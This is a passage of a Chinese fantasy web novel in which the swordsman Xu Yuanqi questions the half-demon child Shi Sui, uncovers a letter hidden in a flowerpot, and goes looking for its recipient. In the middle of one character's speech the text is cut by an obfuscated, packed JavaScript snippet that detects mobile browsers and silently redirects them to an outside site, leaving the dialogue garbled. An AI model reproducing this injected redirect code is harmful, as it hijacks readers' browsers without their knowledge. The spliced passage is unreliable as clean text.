珏含则转身回到了屋子,拿出了一套茶具,放在了院中石桌上,从容地为自己倒了一杯茶,悠哉悠哉地喝了起来。 胥远期落坐在她对面,犹豫再三问道:“珏含姑娘,我刚刚听你叫他,易时遂?” 在踏进月沉阁的那一秒,胥远期确确实实听到了这三个字。 珏含没有回答他这个问题,她将他从上到下扫了一眼,带着些审问的语气说道:“你喜欢我姐姐?” 太过直接,搞得胥远期一时失声。 珏含不急不忙,又道:“你之前是不是做过对不起我姐姐的事?” 胥远期没想到珏含这般直接,他诚恳道:“呃,我当初没经过她同意就将她带到了此地。” 珏含摆手:“我说的不是这个,更久之前,也许十几年前,也许几十年前,也许是几百年前。” 胥远期无奈摇头:“我一介凡人,如今不过十九岁,姑娘说的事、说的人应该都与我无关。” 珏含白了他一眼:“装什么嫩呀……” 胥远期:? 在他震惊的目光中,珏含悠悠地起身,用眼神警告时遂不可偷懒,然后回屋睡觉去了。 13. 别无解归墟哀响4 院中只剩他一人看着小时遂,时遂注意到他的目光,边跳着绳边尴尬地朝他笑了笑。 时遂跳完后,二人坐于石桌旁,胥远期为孩子倒了一杯水。 时遂的脸红扑扑的,抱着杯子咕噜咕噜地大口喝了起来。 胥远期笑:“是不是很累?” 时遂点点头。 胥远期脸上满是笑意,他道:“以后得听阿娘和小姨的话。” 时遂忙着喝水,抽空对他点了点头。 总算解渴后,他将杯子放在桌上,两只手摆正,眼睛忽闪忽闪地看着胥远期。 胥远期问:“你知道我的名字吗?” “知道,叔叔叫胥远期,我听阿娘和小姨说起过。” “哦?”胥远期低下头,靠近孩子几分,问道,“是关于什么的?” 时遂的眼睛布灵布灵转了一圈,忽然用手指向胥远期摆在桌子上的佩剑。 他的嗓音稚气又天真,他说:“叔叔的剑叫风临?我在妖界住的屋子也叫风临。” “这么巧?” 胥远期的指尖轻轻抚摸着剑柄上工工整整雕刻的两个小字。 时遂点头:“对呀,我住的地方叫风临小院,里面可美了。” 胥远期问:“来到归墟司后,你开心吗?” “开心呀,每天能吃到很多好吃的。” “你是更喜欢这里,还是更喜欢你在妖界的家。” 时遂思考片刻后回答道:“我还是更喜欢我在妖界的家,但是,一时半会肯定回不去了。” “为何?” “因为……”时遂哈哈一笑,道,“我不告诉你!总之,阿娘在哪我便在哪。” 胥远期也随他笑,他摸了摸孩子的头,继续问道:“时遂,你的阿爹是人对吗?” 时遂低头玩弄着手指,默认了。 胥远期又问:“他对你和你阿娘好吗?” “叔叔,以后你不要再提关于我阿爹的事了,小姨不喜欢提他的事情。” 胥远期有几分好奇:“你小姨很不喜欢这个姐夫?” 时遂嘟囔道:“都说不要提,叔叔怎么还提?” “是我多嘴了。” 胥远期的目光透过纱窗看向云落的屋子,她的屋中好似自带清香,微风拂过之时,那隐晦的香气便会钻入他的鼻腔,让他忍不住驻足,于是他问道:“时遂,你阿娘喜欢什么?” “我阿娘喜欢我。” “我知道,但还有什么其他的东西吗?吃的,喝的,用的,穿的,或者什么地方?” 时遂歪着头看着他,而后别过头去,道:“阿娘没什么特别喜欢的,她就喜欢我。” 胥远期看问不出什么,只能抿嘴苦笑。 时遂看着他,忽然抓住了他的手,孩子稚嫩柔软的指尖在他掌间的茧上摩挲,他问道:“叔叔,这是什么呀?” “这是茧,握剑握久了,便会长出这个。” “握剑是为了杀妖吗?” 胥远期:“杀恶妖,不杀好妖。” 时遂道:“若是有一天,我阿娘变成了恶妖,你会杀了她吗?” 胥远期心中愕然,他没有想到时遂竟能问出这样的问题。 少年有些逃避这个问题,他回答道:“你阿娘不会变成恶妖的。” 然而,接下来时遂说的话更出乎他的意料。 时遂轻笑着摇头,他说:“叔叔,我们是妖,注定和人是不一样的,我们认识的朋友都来自于妖界,若有一天我们为了维护他们,站在了你们的对立面上,这是好是坏呢? 时遂继续道:“我虽有人的血脉,但真到了那天,我会选择站在我阿娘这边,就像叔叔你选择站在人类这边一样。” 胥远期摇头:“我是人,我没有选择,我只会站在人类这边。” 时遂用一种奇怪的眼神看着他,笑而不语。 他装成大人模样拍了拍胥远期的手,故作深沉的叹息道:“哎,叔叔你好好想想吧,其实……要按你以为的年龄看,你们年龄都不大,应该叫哥哥姐姐的,可你们偏要叫我阿娘姐姐,我只能称呼你们叔叔姨姨了,但你们见过的事太少,很多事都不明白,也不知道能不能听懂我的话。” 时遂一顿输出把胥远期搞懵了,他心想,果然是妖界的孩子,虽年龄小,但懂得倒不少。 时遂站起来伸了个懒腰,兴奋地说了些不重要的话:“正月快过去了,天气都暖和了起来,我最喜欢春天了。” 说完话,时遂呲溜一下就跑进了屋子。 胥远期仰天看着渐暖的天,回到屋中后,本想开个窗通通风,可意外把窗台上那盆枯萎的剑兰花碰倒了。 花盆掉落在地上的声音没有那般清脆,像是枯萎之花的叹息。 他俯下身,清理碎片和土壤。 “这是什么?” 只见摔成几半的干涸的土壤中,露出了一块布角。 他将土又摔了一下,一块天青色的布片折的四四方方的,里面还挺厚实,外面缠了几圈绳子。 他小心翼翼地解开绳子,将布摊开,随后又去洗了个手。 这布里面还裹着几块布,他心想,做此事之人倒真是细致,竟包裹了三层有余。 拆开最后一层后,他看见一封用蝴蝶结系好的信封。 信封相当厚,看来里面不只几封信。 信封表面上写着一句话:“赠楚溪”。 落款的名字是——风云派韩灼。 胥远期想:“楚溪?是我们这一届的吗?” 想来这韩灼必定是曾在居住过的人,他忽然有些担心,若是这信是很早之前留下的,若是楚溪早于他之前来到长安,那二人的思念岂不是错过了。 “吱呀”一声,他听到了隔壁推门的声音。 他忙跑了出去,叫住了即将进屋的简无遗。 看到对方脸庞的那瞬间他愣住了,简无遗唇色发白,整张脸有着劳累过度的虚脱感,看上去缱绻又忧郁。 胥远期惊讶道:“简无遗,你怎么成这样了?” 简无遗敷衍地点了点头,他说:“你喊我就这件事吗?” 胥远期忙问道:“此届风云派前来的弟子中,可有一人叫楚溪?” 简无遗敛眸片刻,答道:“有。” 胥远期放下心来:“你可知她住在何处?” 简无遗淡然摇头:“不知。” 见他转身要进屋,胥远期又嘱咐了一句:“简无遗,你不必这般逼自己,你已经是我们这群人中相当厉害的了,你若是练的不分昼夜,身体会吃不消的。” 简无遗停下脚步,他站得直直的,像一棵木讷的树,他道:“胥远期,我见过你练功的场景,你的反应速度在我之上。” 胥远期眉间忧虑,道:“我不是想炫耀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469019|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思。” 简无遗语气淡然:“我也不是嫉妒的意思。” 他又说:“你不是有很多好友吗?叫大初小初的那些人,你去问问他们,他们可能知晓楚溪在何处。” 话说完后,温和的少年关上了门。 胥远期踌躇片刻,将信揣进了兜里,出了趟门。 他算了算日子,今日应该是西南方除妖师巡逻,在这个方位与他较为熟悉的除妖师,是一个叫做江临风之人。 此人如其名,玉树临风,风流倜傥,也是宗门里唯一一个喜好以胭脂敷面的男子。 以前在山河派,条件苦,很多女弟子都不喜化妆,嫌耽误时间,可江临风此人,犹好打扮。 所幸他本就有雌雄莫辨的气质,那双吊梢眼更是宛若妩媚的女子一般,以胭脂敷面,倒也不会显得画蛇添足。 “江临风?” 胥远期刚走没多远,就碰到了巡逻的他,他身旁还有一风云派的女子,女子以黑布蒙眼,双手分别持黑白弯刀,刀刃锋利至极。 少年回头:“胥远期?” 江临风身着一袭水粉色交领短衫,衣料轻软,腰间以一弯水蓝丝绦束腰,绦带垂落,随步履轻扬。 他容色清绝,眉目含春。发丝松松挽就,还簪一朵山花于鬓边。 胥远期走上前去,笑道:“差点没认出来。” 江临风拂了拂衣袖,骄傲道:“我这莲花一般的男子,自要搭配我亲自设计出的衣裳。” 胥远期开始切入正题,他问:“你们那有没有一个叫做楚溪的人?” “楚溪?没有。” 江临风又问:“你找此人做什么?” “我在屋中发现了前人留给她的信件。” 旁边的蒙眼女子突然开口道:“她在东方府邸。” “东,我知道了。” 大初也在那边。 胥远期看着这女子,又问:“这位是……” 江临风挠了挠头:“我忘记介绍了,这位是风云派邱越。” 他又对邱越说道:“邱越,现在说话的人叫做胥远期。” 邱越面无表情地点了点头。 胥远期看得出来,邱越是盲女。 他心中不由倾佩,眼盲竟也依旧能在风云派练到出师。 他的目光落在邱越的刀上,两把刀状似弯月,流畅至极,尤其是刀口,尖锐如长针一般,他道:“邱越姑娘这两把刀好生特别。” 江临风在一旁笑道:“没错没错,此刀唤做阴阳刀,这刀耍起来的时候,宛若日月吞并之象,又像是阴阳轮回之卦,看得我眼花缭乱,我刚来也觉得特别,我们这一百人中,也就她和裳裳用的兵器不同。” 江临风挤到胥远期身旁,边挤眉弄眼边低声说道:“我之前偷偷玩过她的刀,差点自己把自己杀了。” 胥远期大受震撼地点了点头。 邱越开口道:“没其他事情我们便走了。” 胥远期:“好,多谢姑娘。” 江临风蹦蹦跳跳地跟上她去,朝胥远期挥了挥手告别。 胥远期赶往了东方府邸,路上遇到了正提了两大包点心从十宝斋走出的初小二,二人便一起同行找到了初小一,交代事情原委后,初小一带着他们找到了楚溪。 胥远期在说话的时候,楚溪神思好像在飘荡,少女接过信后匆匆道了一句感谢便跑进了屋中。